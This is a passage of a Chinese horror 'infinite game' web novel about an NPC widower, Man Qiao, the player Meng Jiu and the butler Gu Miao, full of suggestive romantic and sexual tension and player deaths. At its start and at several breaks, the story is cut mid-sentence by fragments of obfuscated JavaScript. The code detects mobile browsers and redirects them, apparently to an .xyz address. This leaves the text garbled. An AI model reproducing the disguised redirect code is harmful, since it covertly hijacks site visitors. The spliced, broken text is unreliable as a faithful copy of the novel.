d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533418|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他要活得爽。 活着就要活得够爽。 现在不就让他爽到了吗? 距离的概念在此刻模糊,面前的NPC太美丽,身量纤细又恰到好处,满桥身上带着让人忍不住注视的人夫般的气质。 看似温和的,似乎是家中不怎么主事的,包容的,不与人起冲突的,身上自带一种被滋养过的柔软。 看似和母亲的包容有点类似的,但又说不清到底是不是鬼母的诡异。 那么迷人。 “嫂子,你好辣啊。” 满桥:……神、经、病。 红发美人嘴角挂上冷笑,满桥的手抓住孟鸠的耳垂,不怎么用力,好像是在轻轻揉捻,好像母亲对自己孩子的温声细语。 “嫂子叫你不知道的可多着呢,你可别早死了。” 孟鸠:“哪能,我可不像大哥,舍不得——让你伤心。” 几乎有一瞬间,孟鸠确定自己脚下那团不可名状的物质冲破了螺旋的规则限制,带着强烈的不满差点缠住自己。 可惜怪物只能在规则下运行,在玩家没有触犯死亡规则前,他终究只能成为阴影中游走的恐吓。 满桥推开孟鸠,低头看了眼地下,眼神里似乎有点安抚的意味,怪物不甘心地翻涌,最后在满桥的注视下平静下来。 满桥:“既然做好了盖面,就跟着大姐把剩下的小殓仪式做了。” 孟鸠:“嫂子呢?” 满桥抬眸,忽然笑起来,笑意虽然不到眼底,但总归比初见时更鲜活漂亮。 满桥:“我身体不爽,先休息了。” “小九。” 满桥伸出手,食指点了点孟鸠的鼻尖,在抽手时,孟鸠的鼻尖忍不住去追满桥的指腹。 “我很喜欢你。” 你和他们都不一样,你很不要命,很有生命力,我就喜欢活着的东西。 “暂时,我们是一家人了。” 我丈夫的好弟弟。 满桥看向大姐,她好像一个卡顿许久终于加载出来的机器,脸上带着一种纸扎人的笑意转身看向满桥。 “大姐,我先回去了,这些孩子不懂规矩,您多帮衬。” 大姐:“是啊,是啊,你快回去吧。” 剩下的玩家如梦初醒,以他们的站位,他们看不清也听不清孟鸠和满桥到底干了什么,只能大概判断孟鸠去和NPC做了交涉。 ……这会是个好说话的NPC吗? 他看起来是全家最柔弱美丽的。 窥伺的目光在满桥身上游走,孟鸠有点烦躁地顶了顶腮帮子。 满桥对这些眼神早已习惯,他最后看向自己刚刚承认的弟弟。 “小九。” 满桥勾勾手指,让孟鸠附耳过来。 孟鸠照做。 气流像一条小蛇在孟鸠耳道里打转,痒地让人侧腰发软。 “我看见你的舌钉了。” 孟鸠一僵。 气泡一样的细小笑声,一簇一簇炸响。 满桥拨弄了一下孟鸠的下巴,“真是不学好,回头来我房间——给我仔细瞧瞧。” 黑色旗袍在留下足以在人脑海中炸开的暗示后就毫不留情地转身,徒留孟鸠像个被砸懵了的蠢货。 ……好爽。 孟鸠又闻了闻空气中满桥残存的香气。 爸的,老子活得就是这么爽。 5. 新丧(4) 房门外雨势不小。 “我估计就是……” “咳咳咳!” 站在屋檐下躲雨的的两人一激灵。 “……怎么这么快就有人出来了?” 满桥懒得理这些演技水平低下的玩家,这个低级副本卡顿的时间太长了,满桥数不清有多少个经验不足的玩家进入,伪装水平一个赛一个的差。 “……他好漂亮啊。” 两个玩家好像觉得自己说话的声音很隐蔽。 满桥没带伞,按照剧情,管家很快就会过来接自己。 但是身边的两位玩家似乎不想这样轻而易举地结束这段没什么意义的听雨时光。 “诶——大人?” 其中一人探了过来,他脸上挂上讨好又胆小的笑容:“里头的仪式结束了吗?” 满桥:“……” 金色的眼睛投射下来,让被注视的人更加神魂颠倒。 这位玩家笑的更加谄媚,“我是李裁缝的徒弟,我是想找话事人聊聊寿衣,我还得和我师傅……” “我不管这事。” 满桥移开了视线。 “什么叫不管这事呢,帮帮忙呗?” 不是第一次了。 满桥看向天空,在心里盘算。 玩家中总是有一些贸然行事的人。 “寿衣的材质不是有讲究吗,我手头还有一批质量上乘的缎子,用来做寿衣正好——” 玩家的声音停下了,在雨声中,几声“卡吧”的骨头声响似乎隐没在有节奏感的水打地面中。 满桥眯起眼睛。 “……啊啊啊啊啊啊啊啊啊!” 站在旁边一直没说话的另一个玩家很快发出尖叫,但雨声越来越大,很快也没了动静。 倒是这里紧挨着正厅,木门也不隔音,房内的声响乎安静了几秒。 “……真不吉利……” 满桥小声念叨:“谁给老人家穿缎子寿衣。” 血色顺着湿气蔓延,逐渐靠近满桥脚底,满桥皱眉,不满地撇向身边两具狼狈的躯干,抬了抬脚。 【恭喜玩家下坠,“新丧”副本剩余参与人数:15人】 ……死亡通报。 满桥的动作顿住。 因为系统提示音实在出现的太少,他都差点忘记自己能听见这声音了。 一个能听到玩家播报的NPC到底意味着什么,是变成玩家的机遇,还是暂未被发现,随时可能被清除的系统bug? 可是他只是个NPC罢了。 他只要做好他可怜的寡夫,和身边的家人好好生活就好了。 他的确觉得新丧的工作做的有些厌倦,就算是打工,也没人会介意跳槽到一个更舒适的地点当牛马。 ……新丧的雨水太多了。 下雨下的人没有风湿也要得风湿了。 “满老师。” 管家撑开伞,满桥回神,身边的两具躯干已经消失地无影无踪,就好像从来没有存在过。 满桥看向管家,忽然笑起来,“那个李裁缝,他徒弟——” 满桥故意留下话口。 管家一切如常,但动作还是微不可查地卡顿,满桥确信他在管家脸上看到了一闪而过的笑。 这位管家先生非常绅士地伸手请满桥站在伞下。 “李裁缝来的时候好像没带徒弟,但既然您问了,我回头再去确认一下。” 满桥:“哦……没什么事,是我记差了。” 他的神色没有发生什么变化,似乎得到了一个他预料中的答案。 气温不高,满桥的漆皮小高跟在石板路上发出哒哒响声。 满桥:“管家先生怎么想着来我们宅子工作呢,是干腻了上一份工作?” 管家:“您说笑了,我来孟家是为了还孟先生的恩情。” 满桥:“这我倒是不知道了,你和父亲原来认识,之前竟然没问过你。” 穿过湿漉漉的石板路,霉斑在白墙上隐晦地蔓延。 从院子到院子,只有墙外的老树勉强掉进来一两只绿色枝桠。 管家步子慢下来。 “……不是老爷,是您爱人,当初救过我一命。” 满桥侧目。 他的确没了解过这位管家的这段故事。 满桥:“是吗?” 管家微微低头,满桥才发现在这位管家先生瞳色很深,几乎像一潭水。 管家:“怎么问起这个,是满老师对自己的工作厌倦了吗?” 满桥沉默。 淅淅沥沥的雨声成为这场对话的唯一伴奏,满桥终于还是移开了自己眼睛。 步伐恢复正常的速度,满桥回头看了眼在烟雨中模糊的正厅。 “……是吧,教了这么多年钢琴,有点厌倦了。” 管家:“您辛苦了。” 辛苦? 是在螺旋中不知道时间什么时候流逝辛苦,还是对自己的过往几乎全然遗忘辛苦? 他是什么人,为何在这个恐怖游戏做了这么久NPC。 记忆对任何活人都是重要的事情,对死人却不一定。 满桥的屋子终于到了,他推开门,管家在满桥门前收起伞。 满桥:“辛苦管家了,我就——” “您鞋袜湿了。” 满桥动作顿住。 管家的身量比满桥高出太多,但在他故意示弱的姿态下,竟然没有给人带来什么压迫感。 管家:“我为您换鞋吧。” 满桥能从管家宽大的黑褂下隐隐窥见,面前这个高大男人可不是瘦弱的类型。 在时间重启的前6次,管家从来没有在乎过自己的鞋有没有湿,当然最关键的是—— 我鞋没湿啊。 满桥真是要笑了。 谁家漆皮小高跟踩过来能湿了鞋袜,那这鞋厂真是不用干了。 是因为自己的对话引出了管家和自己的丈夫有关系吗,所以在这一次得到了特殊照顾? 还是说,这位管家先生的确和自己设想的一样不简单? 隐没在阴影中的怪物很不高兴,这本来应该是他和“妻子”独处的时光。 但如果自己亲爱的妻子真的湿了鞋,现在正在难受呢? 怪物知道,人类喜欢体贴的伴侣。 所以它不能着急。 它要做一个好老公。 满桥伸出了白瓷一样的手,不知道是不是他的错觉,管家的眼睛顺着自己的手指流转,简直是看到了骨头的狗。 “那进来吧。” 管家沉默几秒,牵住了满桥的指尖。 粗糙和细腻的皮肤摩擦,热度在极小一片接触面积上隐晦传递。 满桥嗤笑一声,直接抓住管家的手腕。 冰凉的温度从管家腕间沁染,自从出场就带着一个表情面具的管家终于碎裂一角沉稳。 “进来,好好伺候我。” = “死人了?” 小殓仪式在满桥离开后也没有持续太久,等玩家们从房间中出来时,正厅门口已经干净的什么都不剩下。 “都不知道是怎么死的,算了——先说你们,你们在正厅里做了什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533419|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说话的人是一个留短发的女生,丹凤眼,扫视众人的时候显得有些凶。 小殓仪式只有孟家亲戚才能参加,没有抽取到亲戚身份的玩家只能依靠询问获取房间内刚刚发生了什么。 立刻有玩家想要开口,但是话音话没落地就被一个膀大腰圆的中年男人打断。 “你想要信息,不给我们点好处?” 短发女生冷笑,“你们参加了小殓仪式不错,但如果不交流消息,难道你们觉得这场丧事能轻而易举过关?” “话不是这么说的,”中年男人冷笑,“现在我们知道的东西比你们多,你这么吝啬,连这点信息都不愿意交换,到时候肯定死的比我们早。” 气氛瞬间变得剑拔弩张,因为身份没能进入正厅的玩家有五人,显然已经有人变了脸色,开始考虑中年男人的建议。 中年男人乘胜追击:“300币,我就说消息,谁付钱谁拿消息。” 立刻有玩家愤怒:“300?我们就是从这活着出去也才发放500币!” “那说明如果你拿了消息活着出去还能赚两百,但如果不要这个消息——” 他的暗示已经非常明显了。 中年男人又回头看向自己身后扮演了孟家亲戚的玩家:“咱们扮演的角色本来就风险高,收一点报酬也是我们应该的,这300币我拿到手里,肯定不会忘了你们。” 孟鸠左耳朵进右耳朵出,伸手扒拉在自己面前的中年男人,“让让,我还有事。” 短发女生好像找到突破口,立刻对孟鸠开口:“你是九少爷吧?我是家里的女仆,我手上也有你们没有的信息,只要你——” 孟鸠:“我有事,下次聊下次聊。” 中年男人:“你这是什么态度!年纪轻轻的一点话听不进去!” 孟鸠:“哎呀,二叔!” 这一声直接把玩家喊愣了。 孟鸠:“二叔你抓着我教育干什么啊,你这么爱当老师你就去做老师啊!” 中年男人:“谁是你二叔,我在跟你聊螺旋的事!” 寂静。 变故就是在这一瞬间发生的。 扮演二叔的玩家睁大了眼睛,他的眼球瞬间不满红血丝,口水从嘴角溢出,嗓子眼中发出“嗬嗬”的呼救声。 但这显然是无效努力,很快,他的面部变得青紫,身体像吹起来的皮球一样变得浮肿,整个身体倾倒而下。 【恭喜玩家下坠,“新丧”副本剩余参与人数:14人】 这下真的没人说话了。 雨依然在下,从雨幕中,一个打着伞的小姑娘探出头,急切走过来。 地上的尸体身形慢慢变淡,小姑娘好像什么都看不到:“哎呦,我的九少爷,您怎么在这呢?” 孟鸠:“我去找我嫂子。” “好好好,兰花带您去找,您可千万别吵,丧事里孟家忌讳争吵,这节骨眼,谁引得争吵谁都没好下场!” 刚刚也参与了争执的短发女生脸色白的像纸,实在没忍住在下一秒干呕起来。 “哎呦,北安,你怎么在这呢?” 短发女生一哆嗦,“我……” “你也听我兰花一句话,这个时间点少偷懒!” 北安:“……好,我,我有点不舒服,所以才……” 兰花叹气,“这次也就算了,下次可不能跟人凑一起偷懒了!” 一场玩家之间的交流草草结束,信息没能交换不说,还赔上了一个玩家。 兰花:“九少爷,走吧。” 兰花再次撑起伞。 “送您去满老师那。” 6. 新丧(5) 满桥的身体莹润,肌肤反射出像象牙一样的光泽和平滑感,但这具艺术品一样的身体总是被包裹在严实的黑色布料下。 欲盖弥彰,欲拒还迎。 最沉闷最传统的包裹不仅没能削弱满桥身体的吸引力,反而变成了盖在一道可口甜品之上的盖子,人人都知道盖子之下是被高级大厨精心烹饪、价格不菲的美食。 于是盖子不只是盖子,还是人欲望的前置环节,是被美色引诱的人都试图掀开的仪式感。 “想什么呢。” 湿漉漉的皮鞋勾起了管家的下巴。 满桥穿着黑色蕾丝半身裙,因此哪怕他穿的黑色旗袍开叉并不低,也没有给人留下任何钻空子窥视的空间。 管家:“……抱歉,我……” 满桥:“很好看?” 确实很好看。 香气这个东西很神奇,它在过于干燥的空间中或许会更快挥发,而在缠绵的湿润空气中,香味似乎也会被环境干扰,变得连绵。 从满桥身上飘下来的味道,与其说是香的,不如说是美的,那种不能分辨到底是何种香料调配的气味,去除了人工的所有痕迹。 管家半跪在满桥面前,下巴还被满桥的皮鞋鞋面顶着,那双一直纯良无害的眼睛终于被打破了一向的平静。 管家:“……您说笑了。” 声音比平时更哑。 满桥:“……无聊。” 但是从这个视角,满桥终于能够看清管家的眼睛,那是一双墨绿色的眼睛。 【恭喜玩家下坠,“新丧”副本剩余参与人数:14人】 ……又死人了? 满桥也是很好奇,就在自己短短回房间和管家聊天的这个档口,副本玩家们怎么能这么不争气。 满桥以前没听到过系统通报,不知道这个死亡速度是否正常,但是现在副本还没进入第二天就死了三分之一的人,满桥实在要对这群新人能不能帮自己跳槽报以怀疑。 高跟鞋被小心脱下,动作细致的好像管家在面对一件上千万的翡翠。 管家打来热水,将满桥的鞋袜放好。 “满老师,水温有些高,先不要放脚。” 满桥头脑放空,用手指敲桌子,“知道了。” 下一秒,温热的水浇在脚背,满桥本能一缩,脚腕却被管家狠狠抓住。 ……管家的手太大了。 身为一个仆人,他的手当然不像满桥这样细腻。 管家手心不甚厚,但对满桥的皮肤而言已经颇有存在感的薄茧压在满桥脚腕,甚至另一只手压住了满桥的脚心。 半跪的人抬起头,眼神专注而恭敬:“是太烫了吗?” 满桥:“你不是说先别放脚吗?” 管家温婉地笑起来,“是不能放脚,但撩着水应该能冲洗一下,也帮您适应水温。” 满桥:“……不用帮我洗脚。” 管家:“我乐意为您做这些事。” 满桥:“你是家中的管家,用不着自降身价,况且我也不习惯有人帮我做这些小事。” 管家温和地笑起来,但抓着满桥的手一点都不松开。 “您受凉了,我只是不想您生病。” 满桥:“那就准备好热水就行了,不需要……” “满老师——!” 门外传来兰花的声音。 满桥一瞬间有些哽住了。 管家依然保持抬头的姿势,好像他是一只听话的大狗,此刻真的摇着尾巴蹲在主人身边,不管主人说什么他都愿意照做。 如果忽略他虔诚地慢条斯理地为满桥擦脚的动作。 满桥:“你快点……” 兰花又在门外喊:“满老师——九少爷来找您!” 不知道是不是满桥的错觉,管家更加慢条斯理了。 常年不见阳光的皮肤透着一种脆弱的白皙,没有干过苦工的孟家长子夫人,连脚掌都是柔软的。 手指碾过脚跟,温热的水从皮肤上坠落,带给人的感觉由热转凉,本来为了取暖而撩起的水花,在等待后反而带来更强烈的冷意。 满桥急了,在自己的房间被自家管家拽着摸脚实在有点奇怪。 他抬脚,小小踹了管家的下巴一下。 可是满桥的拇指却好巧不巧踹在管家的下唇。 满桥:“……管家!” 他哪里是往那边踹的啊? “……您可以直接叫我顾淼。” 门外,兰花还在叫门:“满老师,您在吗?” 顾淼还是不肯松开满桥的脚腕,拉扯间,满桥白瓷一样的关节上留下一个微微泛红的手印。 “您找九少爷有什么事呢?” 墨绿色的眼睛依然是真诚的,真诚的有点过分了。 满桥:“先松手——” 顾淼的指尖不经意向上勾起,修剪整齐的指甲在满桥脚底带来痒意。 顾淼:“满老师,您……” “嘭” 门开了。 满桥房间的木门本来就不结实,根本受不了孟鸠的用力扒拉。 顾淼对门口发出的动静置若未闻,依然用他虔诚的眼睛盯着满桥,盯得满桥坐直了身体。 孟鸠站在门口,原本被木门隔绝的雨声骤然变大,变成骤然紧密的鼓点。 孟鸠上下扫视面前两人,瞳色很淡的眼睛带给人强烈的锐利感。 “……嫂子。” 孟鸠忽然笑了,“您不是要摸摸我的舌头吗?” 半跪着凝视满桥的管家神色越发恭敬,眼神却把满桥全身舔了一遍。 兰花不知道什么时候跑了,只留下满桥一个人面对两位身量能完全举起自己做锻炼的男人。 在这种危险的时候,满桥反而有点想笑了。 “……把门安上。” 孟鸠抓着门,饥饿从眼神蔓延到满桥的小腹。 满桥深呼吸,忍无可忍。 “把门给我安上,一群混蛋!” 脚心踹在顾淼脸上,一尊雕塑一样的人慢半拍仰倒,孟鸠撇嘴,不情不愿地转身安门,雨声再次被隔绝在木门之外,但因为木门的破损不如原本平静。 满桥的房间又成了封闭的房间,花瓶中的紫罗兰一如它被送来时娇艳。 天色暗了。 第一天快要过去。 = “兰花——你从满老师房间出来吗?” 北安笑着和兰花打招呼。 兰花也笑起来,“是啊,你别说,满老师真是好看,我见了他比见了金子还舒服。” 北安:“你也太夸张了,我还是更喜欢金子!” 两人相视而笑,沉默地看向雨幕。 “……今天死的人好少啊。” 兰花有点可惜似的。 北安噗嗤一笑。 “这个九少爷真聪明。” 真聪明,没有跟着北安的话讲,最后竟然把事情拉了回来,只死了一个二叔。 北安拉住兰花的手。 “我总觉的满老师不一样,他看我们的眼神,永远那么温和。” 兰花:“温柔的满老师,爱花的满老师,好像见过我们好多次的满老师。” 北安:“那谁知道呢?” 北安凑近了兰花,声音小小的:“那些假人说,咱们这不是第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533420|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办丧事了。” 兰花:“啊——那我们岂不是在这待了好多年?” 北安:“说不定呢?” 两个女孩又笑起来。 北安:“兰花,还有一件事。” 兰花:“怎么了?” 北安:“我今天发现,这群假人应该能知道他们有多少人在这的。” 兰花:“那是什么意思呢?” 雨声不断。 北安猛地笑起来,眼珠差点掉在地上,还好她眼疾手快接住了自己的眼球。 兰花被北安的粗心逗笑,两人推推搡搡地把眼珠安回眼眶。 北安:“我的意思是——我不是假人,他们没觉得奇怪!” 兰花:“可是他们明知道这里一共有多少个假人——” 那还有什么不清楚的呢。 有一个假人混迹在他们之中。 兰花:“把他抓出来?” 北安:“把他抓出来!” = “把你抓起来!” 满桥食指戳在顾淼脑门上。 “你要做什么啊?你要骑到我身上?” 顾淼本来想反驳的,不知道为什么又闭嘴了。 “还有你——孟鸠!” 孟鸠低头,眼睛滴溜溜转,和一只被抓住做坏事的小狗表情一模一样。 满桥:“你们一个二个,这会儿知道示弱办可怜,刚刚一个抓我脚一个拆我门,你们要上天啊!” 顾淼:“满老师,我错……” 孟鸠:“嫂子——我是太想你了!” 顾淼:…… “请九少爷自重。” 孟鸠冷笑:“我自重?我怎么不自重了,这是我嫂子,我长辈,你懂不懂,他是我哥的媳妇!” 顾淼:“您这话说的,好像满老师是你的……” 满桥:“闭嘴。” 顾淼:“对不起,满老师,我只是太担心您会着凉生病。” 满桥不想说话,踢了踢顾淼的胸口,这位身材高大的管家先生实际上非常有料,满桥一瞬间以为自己踩到了什么软而有韧劲的垫子。 满桥:“……去给我拿鞋。” 孟鸠立刻开始叫唤:“嫂子,我也可以给你拿鞋,我不仅可以给你拿鞋,我还可以当你的坐骑——” 满桥:“混小子!” 孟鸠:“嫂子,你不是要摸我舌头吗?” 满桥火大:“我什么时候要……” 顾淼:“我给您穿鞋。” 拇指卡住满桥的脚腕,满桥这边还没骂完又被脚上微妙的痒吸引注意。 孟鸠:“你说了你要好好看看我的舌钉。” 满桥:“我是说要看,我说我要摸了吗?” 孟鸠不语,只是露出一个有点挑衅意味的笑,伸出了舌头。 顾淼超绝不经意把满桥的脚卡在自己胸前,穿鞋穿出了磨洋工的效果。 满桥:“我是说你不学好,你打那乱七八糟的——” 孟鸠直接凑上来了。 “你摸摸嘛,这东西摸起来和看起来感觉不一样的。” 满桥:……? 孟鸠像个绅士一样捧起了满桥的手,却没有像个绅士一样行吻手礼。 等满桥感受到手背上滚烫柔软而湿润的触感,一切都已经来不及了。 相比舌尖当然更加坚硬突兀的舌钉擦过手背,原本跪在自己面前帮忙穿鞋的人不知道什么时候靠的很近。 满桥回过神,当了NPC这么久,第一次,一种强烈的会被吃掉的危机感和说不上是羞愤还是刺激的感觉蔓延上心头。 ……这个副本真是疯了。 7. 新丧(6) 天色已经完全暗了下来,房间中照明不算很好,只有在副本一开始就被送来的紫罗兰还鲜艳而美丽。 螺旋对于所有玩家而言,最让人恐惧的不是明确会杀死人的规则,而是模糊的,灵活的,不知道什么时候就会飘出来的死亡预告。 比如说—— 被NPC察觉到奇怪。 奇怪的定义完全由NPC的主观决定,这个荒谬的规则让玩家们畏手畏脚,生怕触动了某位NPC敏感的底线。 因此螺旋这个游戏,竟然一反常理地呈现出副本等级越高,玩家越谨慎小心而不敢做出任何行动,毫无观赏性的特点。 也算能理解,毕竟一个高级副本,就算没有彻底探索成功,只要能活着出来,就可以给予玩家3000游戏币。 低级副本哪有这个本事。 “新丧”作为低级副本是没有探索度这个说法的,这里只有彻底通关和游戏失败两个概念。 这的确会让玩家们稍微奋不顾身一点,但就算如此,满桥也很少会遇到这样荒谬的情况。 满桥的红发是一种热烈而极具有侵略性的红色,和新鲜的血液相似,又因为他浓密的发量层层叠叠出一种厚重,显得越发妖冶。 “嫂子,是不是很不一样。” 满桥沉默,顾淼还抱着他的小腿往前凑,满桥已经闻见了这位循规蹈矩管家先生身上的衣服香味。 孟鸠得寸进尺:“很不一样吧,舌钉更刺激,对吧?我哥从来没办法给你带来这种感觉——” “啪!” 脸上火辣辣。 孟鸠被一巴掌扇到偏过头,他慢半拍地眨眼,听到满桥的轻笑。 “爽吗?” 满桥捏住了孟鸠的下巴尖。 舌头在腮帮子上顶起一个弧度,新鲜的疼痛在面颊上一阵一阵传来,满桥打人的时候没有收力,孟鸠一瞬间感到牙关都在震动。 “……爽。” 孟鸠顺着满桥的动作转头,侧脸迅速变红,甚至有肿起来的架势。 孟鸠笑起来:“嫂子,我好爽啊。” 满桥:“……混不吝。” “满老师。” 顾淼抬头,他不知道什么时候已经离满桥这么近,他手里还抱着满桥的小腿,指尖若无其事地顺着满桥的肌肤上滑。 象牙般的触感,凉丝丝的皮肤在顾淼比常人还高一些的手掌温度下,更像一块可能会被烫化的羊脂玉。 满桥:“你也想被扇?” 顾淼诡异地沉默一秒,喉结滚动,“只要是您给的,我是您的……” 顾淼的话也没落地,他和孟鸠一个左边一个右边,脸颊火辣辣地烧起来。 满桥:“不要脸。” 顾淼低声下气,拿隐隐做痛的脸轻轻蹭了蹭满桥的膝盖。 “……我错了。” 孟鸠捧起满桥的手,“别把我嫂子打疼了。” 满桥冷笑:“怎么,怕我手疼——你给我舔舔?” 孟鸠立刻:“我可以?” 满桥:“你还真想做!” 一手拨开厚脸皮的孟鸠,用力抽出自己被环抱的腿,满桥起身走到自己的花瓶面前。 “……大晚上来给我添堵,你们明天没有事做?” 当然有。 副本第二日要请孟老爷入棺,身为孟家现在唯一的男丁嫡子,孟鸠要负责完成“躲钉”的习俗。 但这位玩家看起来一点也不紧张,甚至可以说的上松弛。 孟鸠:“不就是那么些仪式,重要吗?” 满桥:“怎么,你不想把丧事办好了?” 孟鸠:“想,当然想。” 前面刚被孟鸠拆掉的门又摇摇欲坠,屋外风不大,但耐不住雨水下来,风中带着水汽,吹进屋子也让人打哆嗦。 尤其是满桥——因为顾淼的闹腾,现在还光着脚直接站在屋内的水泥地上。 顾淼:“屋子今晚肯定是不能睡人了,满老师要不要……” 孟鸠:“来我这睡?” 满桥:…… 满桥:“真是打的好算盘,一个对自己嫂子不守规矩,一个干着家仆的活摸着主人家的脚,我哪敢去你们屋子啊?” 寒气从脚下的地板蔓延,刚刚接触过热水的双脚更加无法接受现在的寒冷。 满桥像一尊被精心雕琢过的白玉菩萨,连脚腕的弧线都是纤细修长的。 他很瘦,看起来能够被很轻松抓住脚腕,满桥的外观像一只被最细心的甜点师包装出来的红丝绒蛋糕,世界上最厌恶糖霜的人路过这块蛋糕也会驻足。 他疯狂地吸引来无数对美的追求超过了对生命追求的玩家,在满桥身上永远都神秘而充满诱惑的香气萦绕下,玩家们或者变成没有理智的野兽,或者变成遗忘生死边界和危险的醉鬼,总归都是上不了台面的东西。 所以满桥当然很清楚,他是很美的。 他是被疯狂地迷恋着,是被所有性格中带有哪怕一点审美精神或者享乐主义的人一眼相中的,甚至是被副本中的怪物,他任何爱惜美丽的同事窥视的。 顾淼站起身,他比孟鸠还要高一些,只是因为总是微微弯腰,或者露出恭敬顺从的神色才被忽略了攻击性,当然,这和他的脸也有关系。 一双没有什么攻击性的含情眼睛,不是所有眼睛都能达成这种看路边的狗都深情的效果。 这双眼睛对上满桥怒意尚未消退的神色,再一次乖乖退让,像他每次做的那样。 “……满老师。” “我们真的错了。” 满桥:“是吗,错在哪里呢?” 孟鸠干脆一屁股坐在地板上,抬起眼,“太冒犯了,对吧?” 满桥:“冒犯?” 金色的眼睛像不存在这个世界上的月亮,满桥愤怒的模样很鲜活,溢出一点他平时被包裹在黑色旗袍之下难以被窥见的活人气息。 满桥:“你们真是一个个搞不清楚自己的定位。” “我允许你们亲吻我吗?” 孟鸠的喉结上下滚动,十分嘴硬:“我们没有亲吻您啊。” 满桥:“所以就舔我,抱着我的腿?” 顾淼:“外面太冷了,我应该照顾好您的。” 满桥终于笑了。 “你们实在是……” 他眯起眼睛,不知道是无奈还是觉得好笑,发出一声很轻的叹息。 “过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533421|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 漂亮的指节勾动,满桥的任何关节都很难捕捉到色素沉淀的痕迹,他白皙柔软的肌肤为他打造了脆弱和天真的气质,可是对上满桥的眼睛任何人都明白这是一位早就修炼出魅力的,无法被轻易引诱的美人。 顾淼走上前,满桥抬起手。 这位游刃有余的管家先生卡顿几秒,但还是选择将满桥的手臂放在自己肩头。 “满老师……” 满桥:“抱我。” 不安的阴影又在人们脚底滚动,满桥暂时没理会脚下的黑色。 怪物大概知道现在不是自己出场温存的时候,但在人人都能欣赏妻子的当下,身为丈夫却只能当个死人是在让怪气短。 大半重量被压在顾淼身上,一双锻炼的很结实的手臂顺利拖住满桥的臀部,难以置信的柔软在小臂上感触明显,顾淼本能皱了皱鼻子。 满桥:“送我去大姐屋头,我去那对付一晚上。” 孟鸠屈膝坐在地板上,他顶了顶虎牙:“……嫂子,我呢?” 气氛变得有点微妙,满桥似乎完全没意识到自己挂着重量的某人并非正人君子,甚至肆无忌惮地挪了挪身体,让自己在这个有点硬邦邦的怀里更舒服一点。 满桥知道自己的吸引力,当然也知道这样的挪动不是抚慰,而是一种能见却不能吃的折磨。 那又如何? 就算是折磨也是满桥赏给顾淼的。 热烘烘的胸膛和红发人夫的面颊很近,这张苍白的美人面上露出一个道不清意味的笑。 “小九。” 孟鸠下意识挺直了脊背。 “你不是有事要做吗?” 孟鸠:“我——有事?” 满桥的面颊彻底考上了顾淼的胸口,这片本来柔软而富有韧劲的肌肉现在紧绷的像一块石头。 孟鸠的惊讶和爱慕太流于表面了,满桥怎么可能看不出呢? 这位玩家,把自己包装的好像真是一个浪子,都自己的喜欢当然是真的,但是和喜欢一朵漂亮的花也并没有多出什么情感。 他眼睛就直白地倾诉了,这是个不理解怎么好好爱人的混蛋。 可是现在这是自己的“弟弟”。 满桥说话的气流绕啊绕:“小九,我是你的嫂子,是你的家人。” 孟鸠下意识想张嘴,但一切语句都卡在嗓子眼。 ……家人? 像狼一样的青年面上浮现出一点真实的疑惑,一张混不吝的假面在幽幽的语调下被撕开一个角落,从而冒出一点真实的气泡。 满桥不再说话了,他彻底靠在顾淼身上。 “行动吧,顾先生,还有——” 满桥晃了晃他的小腿,管家先生兴致昂扬的下身某处绷紧,承托满桥的小臂忍不住上台,让满桥的面部被迫和顾淼饱满的胸部摩擦。 满桥:“……啧。” 顾淼:“抱歉,满老师,我是……” 满桥:“行了,快点。” 窗外雨停了,但这里永远不会真正迎来艳阳天,如果是风湿病人住在这里,恐怕卖膏药的郎中会赚到住进新的四合院。 满桥半合上眼。 “硌的我难受。” 8. 新丧(7) 玩家是虚情假意,管家也不是什么真心郎。 挂在别人身上,满桥一点也没有自己在麻烦别人的自觉,他只顾着自己姿势能舒服一点,至于这个新姿势会摩擦到顾淼哪里,会让这位管家先生心里怎样发麻,那都不是满桥需要思考的事。 “你怎么会想到来伺候我?” 满桥小小打了个哈欠,这个时间已经远远晚于他往常在副本中需要睡觉的时候。 顾淼:“我是孟家长子救回来的人,我当然应该……” 他的话没能说完,因为怀里像水一样的人又在乱动。 满桥毫不在意:“是吗,他怎么救的?” 顾淼:“……大少爷行商路过我家乡……满老师,您……” 